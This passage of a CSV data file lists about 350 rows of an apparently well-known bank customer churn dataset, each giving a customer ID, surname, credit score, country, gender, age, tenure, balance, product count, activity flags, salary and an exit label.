+4372,15714391,Lai,563,France,Female,35,2,183572.84,1,1,1,66006.75,1 +4373,15730137,Udegbulam,628,France,Male,31,0,88421.81,1,0,0,72350.47,0 +4374,15596455,Mao,546,Spain,Female,45,2,0,1,0,0,197789.83,1 +4375,15717290,Onyekaozulu,688,Germany,Male,41,2,112871.19,2,0,1,65520.74,0 +4376,15616555,Fu,850,Germany,Male,41,8,60880.68,1,1,0,31825.84,0 +4377,15659820,Cross,614,France,Female,34,5,0,2,1,0,185561.89,0 +4378,15696301,Snider,719,France,Female,37,9,101455.7,1,1,0,25803.59,1 +4379,15771087,Harrison,757,France,Female,71,0,88084.13,2,1,1,154337.47,0 +4380,15808831,Dale,669,France,Male,29,7,0,2,1,1,138145.62,0 +4381,15812241,Udinese,438,Germany,Male,59,7,127197.14,1,1,0,51565.98,1 +4382,15680370,DeRose,492,France,Male,39,7,0,2,0,1,71323.23,0 +4383,15780561,Hay,622,France,Female,39,9,83456.79,2,0,0,38882.34,0 +4384,15800784,Bruce,645,France,Male,42,4,98298.18,1,1,1,676.06,0 +4385,15715796,Romani,728,France,Male,37,0,0,2,1,1,72203.8,0 +4386,15605375,Tseng,651,France,Male,35,2,86911.8,1,1,0,174094.24,0 +4387,15621520,Tang,783,Germany,Female,42,2,139707.28,1,1,0,2150.22,0 +4388,15665460,Isayeva,732,Spain,Female,67,1,0,2,1,1,177783.04,0 +4389,15801152,Hill,553,Spain,Female,39,1,142876.98,2,1,0,44363.42,0 +4390,15756425,Barnes,660,France,Male,30,7,146301.31,1,0,0,96847.91,0 +4391,15674328,Moreno,670,France,Female,40,3,47364.45,1,1,1,148579.43,1 +4392,15742404,McGregor,718,France,Male,38,7,0,2,1,0,38308.34,0 +4393,15757140,Genovese,787,France,Male,51,0,58137.08,1,0,1,142538.31,0 +4394,15570051,Gill,775,Germany,Female,38,6,179886.41,2,0,0,153122.58,0 +4395,15669175,Ts'ai,479,Germany,Male,24,6,107637.97,2,0,1,169505.83,0 +4396,15790324,Green,660,France,Female,20,6,167685.56,1,1,0,57929.9,0 +4397,15691119,Martin,721,Germany,Male,68,4,136525.99,1,0,0,175399.14,0 +4398,15743478,Johnson,659,Germany,Male,39,8,52106.33,2,1,1,107964.36,0 +4399,15707007,Onio,743,France,Female,39,8,0,1,1,0,94263.44,0 +4400,15572547,Vaguine,670,France,Female,45,9,104930.38,1,1,0,155921.81,1 +4401,15567063,Manna,766,Germany,Female,34,6,106434.94,1,0,1,137995.66,1 +4402,15689633,Toomey,845,Spain,Female,38,2,112803.92,1,1,0,179631.85,0 +4403,15720637,Bell,710,Germany,Female,46,10,120530.34,1,1,0,166586.99,1 +4404,15616859,Bonwick,602,Germany,Female,43,2,113641.49,4,1,0,115116.35,1 +4405,15766166,Folliero,604,Spain,Male,43,2,145081.72,1,1,1,23881.62,0 +4406,15617655,Holt,564,Spain,Female,35,9,0,2,1,1,105837.38,0 +4407,15623450,Brown,637,Germany,Female,27,7,135842.89,1,1,1,101418.05,0 +4408,15796612,Ch'ang,527,France,Female,31,1,112203.25,1,1,0,182266.01,0 +4409,15795963,Fiorentini,687,France,Male,34,7,129895.19,1,0,1,28698.17,0 +4410,15781598,Middleton,756,Germany,Male,41,6,149049.92,1,0,1,50422.36,1 +4411,15691871,Millar,503,Germany,Male,42,9,153279.39,1,1,1,151336.96,0 +4412,15740345,Osborne,657,Spain,Male,42,5,41473.33,1,1,0,112979.6,1 +4413,15662626,Feng,666,France,Female,40,2,0,2,0,0,36371.27,0 +4414,15596575,Vale,615,Germany,Male,39,5,113193.51,2,1,1,52166.25,0 +4415,15657321,Arkwookerum,712,Germany,Male,27,8,113174.21,2,1,0,147261.58,0 +4416,15575955,Lujan,764,France,Female,24,0,0,2,1,0,88724.49,0 +4417,15743893,Alexeyeva,471,France,Male,42,3,164951.56,1,1,0,190531.77,0 +4418,15697270,Gannon,608,Spain,Male,27,4,153325.1,1,1,1,199953.33,0 +4419,15644356,Prokhorova,682,Spain,Female,47,10,134032.01,1,1,0,144290.97,0 +4420,15677586,Romero,587,Germany,Female,32,3,125445.04,2,1,1,130514.78,0 +4421,15571261,Toscani,714,Germany,Female,35,6,126077.43,2,1,1,53954.24,0 +4422,15698758,Onwuamaegbu,630,Spain,Female,31,1,0,2,1,1,169802.73,0 +4423,15787014,King,648,Germany,Female,28,8,90371.09,1,1,1,146851.73,0 +4424,15739857,Trentino,785,France,Female,40,3,0,2,1,1,96832.82,0 +4425,15774630,Peacock,601,Germany,Female,47,1,142802.02,1,1,1,57553.02,0 +4426,15805523,Nnaife,717,France,Female,28,1,90537.16,1,0,1,74800.99,0 +4427,15749557,Chao,707,France,Female,44,6,0,2,1,1,192542.17,0 +4428,15681180,Barese,771,France,Female,23,7,156123.73,1,1,0,72990.62,0 +4429,15742028,Udegbulam,602,France,Female,35,5,0,2,1,0,31050.02,0 +4430,15686463,Fu,626,France,Male,38,7,141074.59,1,1,0,52795.56,1 +4431,15654379,Onwuatuegwu,588,Spain,Male,59,4,0,2,1,1,27435.41,0 +4432,15783629,Degtyaryov,616,Germany,Female,42,6,117899.95,2,0,0,150266.81,0 +4433,15751193,Nnaemeka,621,Spain,Male,33,4,0,2,1,1,40299.23,0 +4434,15724099,Udinese,674,France,Male,26,6,166257.96,1,1,1,149369.41,0 +4435,15568429,Mitchell,633,Spain,Female,46,3,0,2,1,0,120250.58,0 +4436,15648967,Ch'en,698,Germany,Female,64,1,169362.43,1,1,0,84760.32,1 +4437,15664498,Golovanov,508,France,Male,26,7,205962,1,1,0,156424.4,0 +4438,15779522,Efimov,736,France,Female,24,0,0,2,1,0,109355.73,1 +4439,15583850,Davidson,672,Germany,Male,68,0,126061.51,2,1,1,184936.77,0 +4440,15696539,Wade,613,France,Female,21,7,105627.95,1,1,1,36560.51,0 +4441,15760121,Maynard,712,France,Male,32,9,100606.02,1,1,0,165693.06,0 +4442,15628279,Murphy,624,France,Female,38,3,0,2,1,1,163666.85,0 +4443,15766163,Zotova,676,France,Male,38,1,0,2,0,1,35644.79,0 +4444,15566467,Hannah,683,Germany,Female,32,0,138171.1,2,1,1,188203.58,0 +4445,15639049,Cartagena,489,France,Female,31,7,139395.08,1,0,1,6120.84,0 +4446,15736413,Hall,739,France,Male,29,1,0,2,1,1,164484.78,0 +4447,15634815,Hunt,701,France,Female,37,3,0,2,1,1,164268.28,0 +4448,15716381,Greece,666,Germany,Female,50,7,109062.28,1,1,1,140136.1,1 +4449,15708162,Thomson,565,Germany,Female,40,1,89994.71,2,0,1,121084.27,0 +4450,15569364,Victor,666,France,Male,36,3,0,2,1,0,35156.54,0 +4451,15791191,Mitchell,633,France,Male,59,2,103996.74,1,1,1,103159.11,0 +4452,15621205,Olisaemeka,578,France,Male,34,4,175111.11,1,1,1,74858.3,0 +4453,15704788,Krawczyk,812,Spain,Female,49,8,66079.45,2,0,0,91556.57,1 +4454,15775756,Alexandrova,809,Germany,Male,33,8,148055.74,1,0,0,199203.21,0 +4455,15641312,Paterson,615,France,Male,36,6,0,1,1,1,27011.8,1 +4456,15782531,Chou,684,Spain,Female,31,8,0,2,1,0,188637.05,0 +4457,15724428,Abel,544,France,Male,40,8,0,2,1,0,61581.2,0 +4458,15743617,Chesnokova,713,Germany,Male,47,1,95994.98,1,1,0,197529.23,0 +4459,15585839,Niu,633,France,Male,37,2,0,2,1,0,182258.17,0 +4460,15658158,Sullivan,672,Germany,Female,23,10,110741.56,1,1,0,80778.5,0 +4461,15637678,Ma,661,France,Male,35,5,0,1,1,0,155394.52,0 +4462,15701809,Cavill,749,Spain,Female,28,3,0,1,1,0,3408.7,0 +4463,15676937,Nicholls,635,Spain,Female,32,8,0,2,1,1,19367.98,1 +4464,15778975,Nnonso,850,Germany,Female,70,1,96947.58,3,1,0,62282.99,1 +4465,15710375,Gibson,641,France,Male,41,6,0,2,1,0,65396.79,0 +4466,15579914,Garcia,633,Germany,Male,30,2,109786.82,2,1,1,139712.81,0 +4467,15595160,Renwick,413,Spain,Male,35,2,0,2,1,1,60972.84,0 +4468,15595391,Norris,538,France,Male,31,1,0,2,1,0,1375.46,0 +4469,15630363,Nkemakonam,437,France,Female,39,0,102721.49,1,0,0,22191.82,0 +4470,15692443,Piccio,612,Spain,Male,33,5,69478.57,1,1,0,8973.67,1 +4471,15593795,Linton,516,Germany,Female,53,1,156674.2,1,1,0,118502.34,1 +4472,15642824,Onyekaozulu,826,Spain,Female,56,8,174506.1,2,0,1,161802.82,1 +4473,15683524,Tobenna,660,Germany,Female,23,6,166070.48,2,0,0,90494.72,0 +4474,15713532,Wang,646,Germany,Female,29,4,105957.44,1,1,0,15470.91,0 +4475,15719827,O'Donnell,767,France,Male,36,3,0,1,0,0,65147.27,0 +4476,15578435,Langlands,640,France,Male,40,8,110340.68,1,1,1,157886.6,0 +4477,15723028,Smith,778,France,Male,33,1,0,2,1,0,85439.73,0 +4478,15595609,Sykes,679,Germany,Male,52,9,135870.01,2,0,0,54038.62,0 +4479,15622443,Marshall,549,France,Male,31,4,0,2,0,1,25684.85,0 +4480,15579112,Gibson,598,France,Male,47,2,0,2,1,1,186116.54,0 +4481,15648479,Stephenson,655,France,Female,45,0,0,2,1,0,166830.71,0 +4482,15659234,Y?,494,France,Male,30,3,85704.95,1,0,1,27886.06,0 +4483,15811970,Kang,653,France,Female,42,1,0,2,1,1,5768.32,0 +4484,15774192,Miller,539,Germany,Female,38,8,105435.74,1,0,0,80575.44,1 +4485,15595136,Kryukov,645,France,Female,37,1,0,2,1,1,68987.55,0 +4486,15630580,Y?,751,Germany,Male,34,9,108513.25,2,1,1,27097.82,0 +4487,15660646,Fanucci,528,France,Male,35,3,156687.1,1,1,0,199320.77,0 +4488,15614365,Lombardi,696,Germany,Male,31,3,150604.52,1,0,0,5566.6,0 +4489,15776128,Hs?,716,France,Female,44,6,155114.9,1,0,0,133871.83,0 +4490,15787035,Anderson,602,France,Female,35,8,0,2,1,1,152843.53,0 +4491,15792646,Trentino,647,Spain,Female,64,1,91216,1,1,1,41800.18,0 +4492,15726832,Donnelly,850,Germany,Male,61,3,141784.02,1,1,1,92053.75,0 +4493,15773260,Tsou,590,France,Female,32,0,127763.24,1,1,0,100717.54,0 +4494,15624437,Johnson,825,Spain,Female,32,1,0,2,1,1,42935.15,0 +4495,15717138,Watson,850,Spain,Male,31,6,82613.56,2,1,0,149170.92,0 +4496,15657317,Allan,789,France,Female,32,7,69423.52,1,1,0,107499.39,0 +4497,15626948,Butcher,701,France,Female,42,6,86167.82,1,1,0,153342.38,0 +4498,15758901,Henderson,713,Spain,Female,47,1,0,1,1,0,107825.08,1 +4499,15777759,Boucaut,570,France,Male,30,2,131406.56,1,1,1,47952.45,0 +4500,15773322,Obiajulu,536,Germany,Female,44,4,121898.82,1,0,0,131007.18,0 +4501,15697318,Ifeatu,771,Germany,Male,32,9,77487.2,1,0,0,33143.04,0 +4502,15678916,Kelly,512,France,Female,75,2,0,1,1,0,123304.62,0 +4503,15632118,Pirozzi,698,Spain,Male,45,5,164450.94,1,1,0,141970.02,1 +4504,15788118,Siciliano,656,France,Male,33,7,138705.02,2,1,0,37136.15,0 +4505,15788930,Silva,761,Spain,Male,37,7,132730.17,1,1,0,199293.01,0 +4506,15628583,Iweobiegbunam,709,France,Female,30,5,0,2,0,1,161388.22,0 +4507,15635177,Williamson,597,Spain,Female,66,3,0,1,1,1,70532.53,0 +4508,15587690,Madueke,592,France,Male,28,2,116498.22,1,1,0,144290.25,0 +4509,15627630,Chiagoziem,599,France,Female,41,1,0,2,1,0,96069.82,0 +4510,15610930,Kwemto,572,Germany,Female,35,1,139979.07,1,1,0,185662.84,0 +4511,15657747,Zito,611,Germany,Female,43,9,127216.31,2,0,1,17913.25,0 +4512,15568006,Ukaegbunam,634,France,Female,45,2,0,4,1,0,101039.53,1 +4513,15751748,Trevisani,666,France,Male,51,2,148222.65,1,0,0,156953.54,1 +4514,15722212,Edmondstone,696,France,Female,41,8,0,2,0,0,28276.83,0 +4515,15658670,Chien,669,France,Female,38,8,0,2,1,0,84049.16,0 +4516,15761654,Boni,726,Spain,Male,30,8,134152.29,1,1,1,147822.44,0 +4517,15812210,Yashina,497,Germany,Female,32,8,111537.23,4,1,1,9497.99,1 +4518,15787051,Georg,750,Spain,Female,39,7,119565.92,1,1,0,87067.73,0 +4519,15642991,Tung,850,Spain,Female,29,7,0,2,1,0,23237.25,0 +4520,15713769,Michelides,617,Spain,Male,38,7,0,1,1,1,27239.28,0 +4521,15605826,Korovina,652,Germany,Male,46,10,121063.8,3,1,0,151481.86,1 +4522,15648898,Chuang,560,Spain,Female,27,7,124995.98,1,1,1,114669.79,0 +4523,15705309,Yuriev,629,Spain,Male,39,5,0,2,0,0,116748.14,0 +4524,15734202,Chidimma,660,Germany,Female,52,4,86891.84,1,1,0,90877.76,0 +4525,15658852,Stevens,676,France,Male,38,8,0,2,1,1,133692.88,0 +4526,15612633,Kao,581,Spain,Male,43,9,78022.61,1,0,1,30662.91,0 +4527,15604818,Edmund la Touche,798,France,Male,34,9,154495.79,1,1,0,191395.88,0 +4528,15593900,Belousov,705,France,Male,38,1,189443.72,1,0,1,106648.58,0 +4529,15624995,McCane,714,Spain,Female,31,6,152926.6,1,1,1,50899.91,0 +4530,15570087,Parry-Okeden,664,France,Female,44,8,142989.69,1,1,1,115452.51,1 +4531,15802617,Hudson,697,Germany,Male,43,7,115371.94,2,1,0,64139.1,0 +4532,15656029,Marsden,609,France,Male,37,6,0,2,0,1,22030.72,0 +4533,15739194,Manfrin,548,Spain,Male,38,0,178056.54,2,1,0,38434.73,0 +4534,15607275,Ch'ang,850,Spain,Male,39,6,206014.94,2,0,1,42774.84,1 +4535,15629475,Clark,656,France,Male,41,2,0,2,1,0,158973.77,0 +4536,15635034,Aldrich,727,Germany,Male,37,9,101191.83,1,1,1,34551.35,1 +4537,15756333,Khan,642,France,Female,55,7,0,2,1,1,101515.76,0 +4538,15777436,Murray,710,Spain,Female,31,5,0,2,1,0,9561.73,0 +4539,15676835,Anayolisa,710,Spain,Male,33,1,0,2,1,0,168313.17,0 +4540,15574206,Shillito,718,France,Female,37,7,0,2,1,1,55100.09,0 +4541,15613017,McMillan,586,Germany,Male,32,1,149814.54,1,1,0,31830.06,0 +4542,15815131,Howells,617,Spain,Female,36,7,115617.24,1,1,1,71519.4,0 +4543,15585455,Stewart,630,France,Male,28,9,0,2,0,0,32599.35,0 +4544,15692929,Ikechukwu,791,Germany,Female,42,10,113657.41,2,0,1,139946.68,1 +4545,15758081,Repina,673,Spain,Male,39,8,138160,1,1,1,110468.51,0 +4546,15667476,Cox,477,Germany,Female,36,3,117700.86,1,0,0,74042,0 +4547,15738248,Lo,662,France,Female,37,5,0,2,1,0,151871.84,0 +4548,15672152,Grant,850,Germany,Male,37,9,122506.38,1,0,1,199693.84,1 +4549,15673372,Stevenson,635,France,Female,58,1,0,1,1,1,58907.08,1 +4550,15587611,Kauffmann,537,France,Male,59,9,0,2,0,0,103799.77,1 +4551,15803415,Samsonova,579,France,Female,39,3,166501.17,2,1,0,93835.64,0 +4552,15715673,Niu,651,Spain,Female,46,4,89743.05,1,1,0,156425.57,1 +4553,15655648,Bock,610,France,Female,25,2,0,2,1,0,123723.83,0 +4554,15763613,Barlow,581,France,Male,30,1,0,2,1,0,199464.08,0 +4555,15660385,Stevenson,592,France,Male,39,7,0,2,1,0,83084.33,0 +4556,15733261,Kung,688,Spain,Female,35,6,0,1,1,0,25488.43,1 +4557,15796231,Nwankwo,681,France,Female,18,1,98894.39,1,1,1,9596.4,0 +4558,15624866,Brewer,658,Germany,Male,37,3,168735.74,2,0,0,70370.24,0 +4559,15623730,Ch'iu,792,France,Male,34,1,0,1,0,1,86330.32,0 +4560,15668248,Quinn,528,Germany,Female,62,7,133201.17,1,0,0,168507.68,1 +4561,15694518,Kodilinyechukwu,624,Spain,Female,36,0,0,2,1,0,111605.9,0 +4562,15638028,Ifeanyichukwu,562,Germany,Male,31,4,127237.25,2,0,1,143317.42,0 +4563,15795895,Yermakova,678,Germany,Male,36,1,117864.85,2,1,0,27619.06,0 +4564,15694376,Sullivan,705,Germany,Female,64,3,153469.26,3,0,0,146573.66,1 +4565,15669204,Grant,650,Germany,Male,23,4,93911.3,2,1,0,69055.45,0 +4566,15773779,Jacka,593,Spain,Female,46,2,76597.79,1,1,1,54453.72,0 +4567,15580682,Tsai,652,France,Female,40,4,79927.36,2,1,1,33524.6,0 +4568,15768530,Emery,554,Spain,Female,27,4,0,2,1,1,135083.73,0 +4569,15672875,Piccio,584,Germany,Male,32,8,40172.91,1,1,1,137439.34,0 +4570,15617082,Sanders,516,France,Male,33,7,115195.58,1,1,1,11205.5,0 +4571,15760514,Sharp,789,Germany,Female,43,9,116644.29,2,1,1,60176.1,0 +4572,15761775,Myers,598,Germany,Male,20,8,180293.84,2,1,1,29552.7,0 +4573,15799964,Campbell,669,Germany,Female,30,7,139872.81,1,1,0,188795.85,0 +4574,15693906,Abbott,645,France,Female,24,3,34547.82,1,1,1,11638.17,0 +4575,15739514,Preston,659,France,Female,32,9,0,2,1,1,93155.75,0 +4576,15756926,Atherton,833,Germany,Male,29,1,96462.25,2,0,1,48986.18,0 +4577,15770984,Fanucci,697,Spain,Female,40,7,130334.35,2,0,1,116951.1,0 +4578,15703979,Evans,580,Germany,Male,39,3,119688.81,1,1,0,137041.26,0 +4579,15801821,Cookson,691,France,Male,38,1,0,2,0,0,44653.5,0 +4580,15711028,Nnachetam,534,France,Male,52,1,0,3,1,1,104035.41,1 +4581,15791842,Johnstone,478,France,Female,32,6,71187.24,1,1,1,110593.62,0 +4582,15746127,Hort,572,France,Female,47,2,0,2,1,0,36099.7,0 +4583,15663625,Johnson,501,France,Male,37,4,0,2,0,0,12470.3,0 +4584,15604891,Zaytseva,624,Spain,Female,38,8,0,2,1,0,95403.41,0 +4585,15589666,Sorokina,595,France,Female,39,9,136422.41,1,1,1,151757.81,0 +4586,15627881,Diehl,603,France,Male,30,8,0,2,1,1,47536.46,0 +4587,15664895,Onuchukwu,602,France,Female,25,0,0,2,1,1,101274.17,0 +4588,15676094,Osonduagwuike,500,France,Female,34,6,0,1,1,1,140268.45,0 +4589,15761720,Mead,422,France,Male,41,6,153238.88,1,1,0,11663.09,0 +4590,15611961,Stewart,615,France,Male,35,7,0,2,1,0,150784.29,0 +4591,15680167,Thomson,635,France,Female,78,6,47536.4,1,1,1,119400.08,0 +4592,15762543,Goliwe,711,France,Female,32,1,0,2,1,0,126188.42,0 +4593,15658475,Lori,834,France,Male,36,8,142882.49,1,1,0,89983.02,1 +4594,15779743,Onwuamaeze,633,France,Female,44,7,0,2,1,0,29761.29,0 +4595,15661532,Butusov,650,France,Female,31,1,160566.11,2,0,0,27073.81,0 +4596,15782360,Rogers,743,Germany,Male,65,2,131935.51,1,1,1,96399.67,1 +4597,15767908,Nicholson,567,France,Male,38,6,127678.8,2,0,0,45422.89,0 +4598,15677105,Rossi,706,Germany,Female,46,4,105214.58,1,1,0,108699.59,1 +4599,15641474,Hall,638,France,Male,46,9,139859.54,1,1,0,38967.29,0 +4600,15624451,Huddart,641,France,Female,38,3,0,2,1,0,116466.19,0 +4601,15577985,Chinomso,574,France,Female,34,5,112324.45,2,1,1,17993.43,0 +4602,15571666,Shaw,642,Germany,Male,30,8,134497.27,1,0,0,43250.54,0 +4603,15783691,Hargreaves,722,Spain,Female,35,1,120171.58,1,1,0,125240.8,0 +4604,15671172,Swain,623,France,Male,23,1,106012.2,2,0,1,191415.94,0 +4605,15731760,Butcher,681,France,Male,25,5,0,1,0,1,90860.97,0 +4606,15585599,Stone,530,France,Female,34,8,0,2,0,1,141872.52,0 +4607,15784958,Allan,797,France,Female,55,10,0,4,1,1,49418.87,1 +4608,15734524,Wang,653,France,Male,51,3,0,1,1,0,170426.65,1 +4609,15614103,Colombo,850,Germany,Male,42,8,119839.69,1,0,1,51016.02,1 +4610,15794895,McKay,581,Spain,Male,34,1,0,2,0,1,81175.25,0 +4611,15772381,Brient,589,Germany,Male,38,8,92219.21,1,1,0,99106.97,0 +4612,15710553,Yin,555,Germany,Male,48,3,142055.41,2,0,1,79134.78,0 +4613,15649292,Bellucci,748,France,Female,49,7,29602.08,1,0,0,163550.58,1 +4614,15792565,Duncan,745,France,Female,46,7,0,2,1,1,67769.94,0 +4615,15718245,Pirozzi,730,France,Male,34,1,0,2,1,1,126592.01,0 +4616,15703117,Findlay,565,France,Female,44,1,0,2,0,1,89602.81,0 +4617,15758136,King,778,France,Male,37,3,141803.77,1,0,1,179421.84,0 +4618,15799932,Iweobiegbunam,812,France,Male,24,10,0,2,1,1,156906.15,0 +4619,15633516,Tucker,526,France,Male,42,1,0,1,0,1,168486.02,0 +4620,15622532,Izmailova,708,France,Female,47,0,126589.12,2,0,1,132730.07,1 +4621,15798960,Meng,680,France,Male,33,2,108393.35,1,0,1,39057.67,0 +4622,15698664,Liang,567,Spain,Male,43,2,115643.58,2,0,0,174606.35,0 +4623,15703614,Hutchinson,564,Spain,Male,48,5,132876.23,1,1,0,79259.77,0 +4624,15699195,Shen,709,France,Female,24,3,110949.41,1,1,1,168515.61,0 +4625,15710543,Okwuoma,629,France,Male,46,1,130666.2,1,1,1,161125.67,1 +4626,15695499,Chinwemma,510,France,Female,45,10,103821.47,2,0,1,77878.62,0 +4627,15622321,Golubova,506,France,Female,32,3,0,1,1,1,80823.02,0 +4628,15715744,Schiavone,605,France,Male,39,7,0,1,0,1,119348.28,0 +4629,15788151,Moore,650,Spain,Male,32,1,132187.73,2,1,1,178331.36,0 +4630,15687153,Graham,850,Germany,Male,49,8,98649.55,1,1,0,119174.88,1 +4631,15684958,Amadi,489,Germany,Male,38,2,126444.08,2,1,1,82662.73,0 +4632,15706116,McKay,659,Germany,Female,30,8,154159.51,1,1,0,40441.1,0 +4633,15740557,Fedorova,753,France,Female,43,5,0,2,1,0,109881.71,0 +4634,15707291,Percy,477,Germany,Male,48,8,129250,2,1,1,157937.35,0 +4635,15583353,Floyd,610,Spain,Female,45,3,0,1,1,0,38276.84,1 +4636,15761024,Long,619,France,Female,33,2,167733.51,2,1,1,65222.48,0 +4637,15630709,Castiglione,619,Germany,Female,31,2,56116.3,2,0,0,2181.94,0 +4638,15639590,Melendez,758,France,Female,30,3,141581.08,1,1,0,156249.06,0 +4639,15659399,Mazzi,516,Germany,Male,50,7,139675.07,2,1,0,45591.23,0 +4640,15567078,Kovaleva,789,France,Female,27,8,66201.96,1,1,1,79458.12,0 +4641,15696373,Gill,687,France,Female,44,9,0,2,0,0,103042.2,1 +4642,15786617,Arcuri,485,Germany,Male,34,3,133658.24,1,1,0,70209.83,0 +4643,15657449,Chukwuma,446,Germany,Male,25,3,136202.78,1,1,0,176743.51,0 +4644,15672594,Stevenson,597,France,Female,60,0,131778.08,1,0,0,10703.53,1 +4645,15714240,Ponomarev,712,Spain,Male,74,5,0,2,0,0,151425.82,0 +4646,15782144,Gilroy,522,France,Female,34,3,0,2,1,1,3894.34,0 +4647,15665008,Sidorov,805,Germany,Female,26,8,42712.87,2,1,1,28861.69,0 +4648,15581733,Bates,781,France,Female,28,4,0,2,1,0,177703.15,0 +4649,15751392,Fanucci,689,Spain,Female,57,4,0,2,1,0,136649.8,1 +4650,15785815,Toscano,670,Germany,Male,31,1,142631.54,2,1,1,175894.24,0 +4651,15664214,Hearn,670,France,Male,33,2,141204.65,2,1,0,76257.46,0 +4652,15579996,Iroawuchi,524,Germany,Female,25,7,131402.21,1,0,0,193668.49,0 +4653,15675252,Martin,734,Spain,Female,39,3,92636.96,2,1,1,125671.29,0 +4654,15579617,Sinclair,489,France,Female,51,3,0,2,0,1,174098.28,1 +4655,15593976,Swanson,578,Germany,Female,31,5,102088.68,4,0,0,187866.21,1 +4656,15716041,Chinomso,622,Spain,Male,39,9,0,2,0,1,100862.36,0 +4657,15654489,Fomin,843,France,Female,38,8,134887.53,1,1,1,10804.04,0 +4658,15736302,McKay,687,France,Male,48,4,0,2,1,1,170893.85,0 +4659,15805909,Bergamaschi,700,Spain,Male,28,8,159900.38,1,0,0,22698.56,0 +4660,15572762,Matveyeva,410,Germany,Female,50,2,102278.79,2,1,0,89822.48,0 +4661,15724632,Madukaego,537,France,Female,41,0,0,2,0,1,175262.49,0 +4662,15670416,Ferri,780,France,Female,43,0,0,1,0,1,15705.27,0 +4663,15749528,Achebe,652,Spain,Male,58,6,0,2,0,1,170025.43,0 +4664,15578783,Mai,620,Germany,Male,35,0,76989.97,1,1,1,17242.79,0 +4665,15580719,Davis,697,France,Female,23,10,0,2,1,1,79734.23,0 +4666,15656293,Davey,786,France,Male,35,3,0,2,1,0,92712.97,0 +4667,15691875,Tsou,850,Germany,Female,39,5,114491.82,1,1,0,99689.48,0 +4668,15596870,Marino,749,Germany,Male,54,3,144768.94,1,1,0,93336.3,1 +4669,15780770,Kerr,445,France,Male,31,7,145056.59,1,1,1,175893.53,0 +4670,15751491,Hsiao,443,Germany,Male,50,3,117206.3,1,1,0,42840.18,1 +4671,15706200,Graham,637,Germany,Male,41,2,138014.4,2,1,0,140298.24,0 +4672,15808674,Ejikemeifeuwa,616,Germany,Female,45,6,128352.59,3,1,1,144000.59,1 +4673,15641411,Volkova,756,France,Female,23,1,112568.31,1,1,1,113408.11,0 +4674,15764661,Wang,644,France,Male,33,2,0,1,1,0,96420.58,0 +4675,15689492,Benjamin,850,Germany,Male,41,1,176958.46,2,0,1,125806.3,0 +4676,15602405,Ryrie,703,Germany,Female,38,9,99167.54,1,1,0,65720.92,0 +4677,15610271,Andreev,684,Spain,Female,42,3,103210.27,1,1,0,31002.03,0 +4678,15791780,Ts'ao,706,Germany,Female,48,10,104478.12,3,0,1,158248.71,1 +4679,15589147,Frolov,580,Spain,Male,61,8,125921.37,1,1,1,94677.83,0 +4680,15756975,Montemayor,777,Spain,Female,35,3,0,2,1,1,17257.72,0 +4681,15729582,Fu,676,Germany,Male,48,3,80697.44,1,0,0,101397.86,0 +4682,15742971,Whitehead,708,France,Female,44,2,161887.81,2,1,0,84870.23,0 +4683,15568046,Izuchukwu,809,France,Male,24,7,109558.36,1,1,0,183515.13,0 +4684,15694890,Lai,588,France,Male,38,1,124271.26,1,1,0,75969.19,0 +4685,15736963,Herring,623,France,Male,43,1,0,2,1,1,146379.3,0 +4686,15646490,Duffy,537,Spain,Male,42,1,190569.23,1,0,1,127154.8,0 +4687,15607314,Chiefo,536,Spain,Male,53,2,143923.96,1,1,0,2019.78,1 +4688,15576745,Fyodorov,769,France,Male,48,2,96542.16,2,0,1,197885.72,0 +4689,15669606,Chu,690,France,Male,33,5,0,2,1,0,138017.68,0 +4690,15737832,Robertson,771,Spain,Male,45,0,139825.56,1,0,0,170984.97,1 +4691,15681990,Palmerston,497,Germany,Male,24,6,111769.14,2,1,0,55859.27,0 +4692,15758050,Madukwe,622,Spain,Male,37,4,0,2,1,0,4459.5,0 +4693,15787848,Chinedum,602,Spain,Male,30,9,113672.18,2,0,0,102135.92,0 +4694,15713594,French,543,France,Female,32,7,147256.86,1,1,0,112771.95,0 +4695,15588186,Polyakov,520,Spain,Male,45,7,107023.03,1,1,0,32903.93,0 +4696,15786739,Clements,669,France,Male,37,1,125529.55,1,1,1,162260.93,0 +4697,15699467,Connor,631,Spain,Female,41,0,0,1,0,0,87959.83,0 +4698,15680706,Balashov,537,Germany,Male,48,4,131834.8,1,1,0,166476.95,1 +4699,15645717,Avdeeva,732,France,Male,62,2,0,2,1,1,25438.87,0 +4700,15748597,Chester,844,Spain,Male,56,5,99529.7,1,0,1,157230.06,1 +4701,15773709,Hung,838,Spain,Male,35,0,0,2,0,1,197305.91,0 +4702,15629787,Tu,652,France,Male,27,10,107303.72,2,0,0,44435.76,0 +4703,15661007,Thompson,660,France,Male,33,0,72783.42,1,0,0,181051.99,0 +4704,15686812,Jones,692,Spain,Female,44,8,0,1,0,1,159069.37,0 +4705,15754113,Li,588,France,Female,35,0,0,2,1,1,155485.24,0 +4706,15749489,Denisova,533,Germany,Female,22,10,115743.6,1,0,0,43852.05,0 +4707,15574352,Clogstoun,850,France,Male,43,4,161256.53,1,1,1,140071.57,0 +4708,15701281,Tan,511,France,Male,27,8,0,2,1,1,49089.36,0 +4709,15811985,Power,530,Spain,Male,44,6,0,2,0,0,55893.37,0 +4710,15713505,Harriman,554,France,Male,31,1,0,2,0,1,192660.55,0 +4711,15685653,Benson,585,Germany,Female,40,3,162261.01,2,1,0,137028.51,0 +4712,15758831,Thornton,754,France,Male,39,3,74896.33,1,0,0,34430.16,0 +4713,15618774,White,474,France,Male,54,3,0,1,1,0,108409.17,1 +4714,15764448,Mackenzie,837,Germany,Male,35,0,144037.6,1,1,0,145325.32,0 +4715,15611024,Kalinina,567,France,Female,23,9,93522.2,1,0,1,81425.61,0 +4716,15738220,Bennet,800,Spain,Male,38,1,0,2,1,0,51553.43,0 +4717,15805764,Hallahan,646,France,Male,18,10,0,2,0,1,52795.15,0 +4718,15580487,Martin,627,Germany,Male,38,8,106922.92,2,0,1,84270.09,0 +4719,15675787,Rivera,505,France,Male,26,8,112972.57,1,1,0,145011.62,0 +4720,15583580,Chiawuotu,566,Germany,Female,35,1,123042,1,1,0,66245.44,1 +4721,15780654,Sergeyev,619,Germany,Female,33,3,100488.92,2,0,1,36446.74,0 +4722,15695034,Christie,757,France,Female,44,4,123322.15,1,1,0,137136.29,0 +4723,15805671,Louis,648,France,Male,32,0,0,1,0,1,117323.31,0 +4724,15790658,Iqbal,621,Spain,Male,42,8,68683.68,1,1,1,74157.71,0 +4725,15578648,Marino,543,Germany,Male,49,6,59532.18,1,1,0,104253.56,0 +4726,15734987,Robertson,658,France,Female,43,7,140260.36,2,1,0,2748.72,0 